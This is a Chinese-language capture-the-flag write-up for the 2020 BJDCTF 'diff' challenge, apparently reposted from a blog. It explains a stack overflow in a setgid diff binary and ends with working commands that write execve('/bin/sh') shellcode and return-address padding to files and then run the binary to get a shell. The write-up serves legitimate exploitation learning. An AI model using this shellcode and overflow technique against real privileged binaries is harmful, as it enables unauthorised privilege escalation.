• 2020BJDCTF


    diff:

    不得不说这种题目挺有意思的,现在记录一下阶梯过程:

    先登录远程,发现有两个文件:

     虽然直接能卡到flag文件,但是我们是以ctf用户登录的,并不能直接打开flag文件。仔细观察diff文件组用户权限是r-s,这意味着我们以ctf用户运行diff却能得到ctf_pwn用户的权限,就能读取flag了,所以我们目标是运行diff并拿到shell。

    其实在做这题之前有好几道类似的题,没有给任何文件,都需要ssh连接远程,之前我有尝试用scp把文件下载到本地,结果都是败了,所以这题我就没注意看。知道看wp时才意思到可以下载到本地,不得不说挺坑的。

    下载后用IDA打开,直接看compare函数:

     很明显存在栈溢出,所以我们可以向buf1中写入shellcode,向addr写入padding。

    这里不得不说另一个坑了。我之前直接把shellcode的十六进制代码写入到文件中,结果读出来的不对,后来才意识到这样是以字符读入,失去本来的意思。

    python -c "print 'xbax00x00x00x00xb9x00x00x00x00h/shx00h/binx89xe3xb8x0bx00x00x00xcdx80'" > shellcode
    python -c "print 'A'*0x7c + 'x24xa0x04x08'" > padding
    ./diff shellcode padding
  • 相关阅读:
    c++ new 堆 栈
    c++ int 负数 补码 隐式类型转换
    python json 序列化
    %pylab ipython 中文
    matplotlib中什么是后端
    IPython 4.0发布:Jupyter和IPython分离后的首个版本
    ipython
    python 类
    python 高级特性
    windows网络模型
  • 原文地址:https://www.cnblogs.com/countfatcode/p/12556253.html
Copyright © 2020-2023  润新知